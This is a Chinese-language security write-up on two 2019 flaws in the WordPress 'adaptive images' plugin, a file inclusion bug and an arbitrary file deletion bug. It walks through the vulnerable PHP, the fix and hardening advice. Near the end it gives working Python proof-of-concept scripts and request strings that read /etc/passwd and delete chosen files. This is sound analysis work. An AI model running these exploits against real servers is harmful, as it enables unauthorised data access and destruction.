探究if条件语句引发的两个Web漏洞
字数 1604 2025-08-18 11:39:04
WordPress插件adaptive images漏洞分析与防护指南
漏洞概述
本文详细分析WordPress插件"adaptive images"(版本<=0.6.66)中存在的两个高危漏洞:文件包含漏洞(File Inclusion)和任意文件删除漏洞(Arbitrary File Deletion)。这两个漏洞源于插件中对if条件语句使用不当,导致攻击者可以构造恶意参数实施攻击。
漏洞环境
- 目标系统:Debian 9.6 x64
- 软件版本:
- WordPress 5.2.2
- adaptive images插件0.6.65
- XAMPP for Linux 5.6.30
- Python 2.7.15
漏洞详细分析
1. 漏洞根源代码
漏洞主要存在于adaptive_images_script_get_settings()函数中:
function adaptive_images_script_get_settings() {
if (!isset($_REQUEST['adaptive-images-settings'])) {
// 默认配置初始化代码...
}
return $_REQUEST['adaptive-images-settings'];
}
关键问题点:
- 函数首先检查
$_REQUEST['adaptive-images-settings']是否存在 - 如果不存在,则初始化默认配置
- 无论是否存在,最终都返回该变量值
2. 漏洞传导路径
- 攻击者可以构造恶意的
$_REQUEST['adaptive-images-settings']参数 - 该参数通过
$settings = adaptive_images_script_get_settings();传递到全局 - 恶意参数被后续功能使用
3. 文件包含漏洞(CVE-2019-16744)
触发路径:
if (!isset($_GET['resolution']) && !isset($_COOKIE['resolution'])) {
adaptive_images_script_send_image($settings['source_file'], $settings['browser_cache']);
exit();
}
攻击方式:
- 通过控制
$settings['source_file'](即$_REQUEST['adaptive-images-settings']['source_file']) - 可以读取服务器上的任意文件,如
/etc/passwd
4. 任意文件删除漏洞(CVE-2019-16745)
触发路径:
$cache_file = $settings['wp_content'] . '/' . $settings['cache_dir'] . '/' . $settings['resolution'] . $settings['request_uri'];
if (file_exists($cache_file)) {
if ($settings['watch_cache']) {
adaptive_images_delete_stale_cache_image($settings['source_file'], $cache_file, $settings['resolution']);
}
}
删除函数实现:
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
if (file_exists($cache_file)) {
if (filemtime($cache_file) >= filemtime($source_file)) {
return $cache_file;
}
unlink($cache_file);
}
}
攻击方式:
- 构造
$cache_file指向要删除的目标文件 - 构造
$source_file为一个比目标文件新的文件 - 触发删除逻辑
漏洞修复方案
在0.6.67版本中,修复方案包括:
-
移除不安全参数传递:
- 删除
$_REQUEST['adaptive-images-settings']的使用 - 改用全局变量
$settings
- 删除
-
强制初始化配置:
- 移除条件判断
if (!isset($_REQUEST['adaptive-images-settings'])) - 确保配置必须由函数生成,无法从外部注入
- 移除条件判断
修复后代码结构:
global $settings;
$settings = NULL;
function adaptive_images_script_get_settings() {
global $settings;
// 直接初始化所有配置
$settings = array(
'debug' => $debug,
// 其他配置项...
);
// 不再返回任何值
}
漏洞利用示例
1. 文件包含漏洞利用(PoC)
import requests
server_ip = input('输入服务器IP地址:')
source_file = input('输入包含路径和文件名:')
exp = requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg.jpg?adaptive-images-settings[source_file]=" + source_file)
print(exp.text)
示例攻击:
- 包含
/etc/passwd:?adaptive-images-settings[source_file]=/etc/passwd - 包含系统信息:
?adaptive-images-settings[source_file]=/proc/version
2. 任意文件删除漏洞利用(PoC)
import requests
server_ip = input('输入服务器IP地址:')
source_file = input('输入源文件的路径及文件名:')
cache_dir = input('输入要删除文件的路径:')
cache_file = input('输入要删除文件的文件名:')
# 触发删除
requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg2.jpg?adaptive-images-settings[source_file]=" + source_file + "&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=" + cache_dir + "&adaptive-images-settings[request_uri]=" + cache_file + "&adaptive-images-settings[watch_cache]=1")
# 验证删除
exp = requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg2.jpg?adaptive-images-settings[source_file]=" + cache_file)
print(exp.text)
示例攻击:
- 源文件:
.wp-content/uploads/2019/10/timg2.jpg - 删除文件:
test.php
防护建议
- 立即更新:将插件升级到0.6.67或更高版本
- 输入验证:
- 对所有用户输入进行严格验证
- 使用白名单机制限制文件路径
- 权限控制:
- 文件操作限制在特定目录
- 使用最小权限原则运行Web服务
- 安全编码:
- 避免直接使用用户输入构造文件路径
- 对特殊操作添加权限检查
- 监控措施:
- 监控异常的文件读取/删除操作
- 定期审计插件代码
总结
这两个漏洞展示了条件语句使用不当可能导致的安全问题。开发时应注意:
- 不要信任任何用户输入
- 关键操作必须进行权限验证
- 文件路径操作要严格限制范围
- 全局变量使用要谨慎
- 安全配置应有默认值且不可被覆盖
通过规范的编码实践和严格的安全审查,可以有效避免此类漏洞的产生。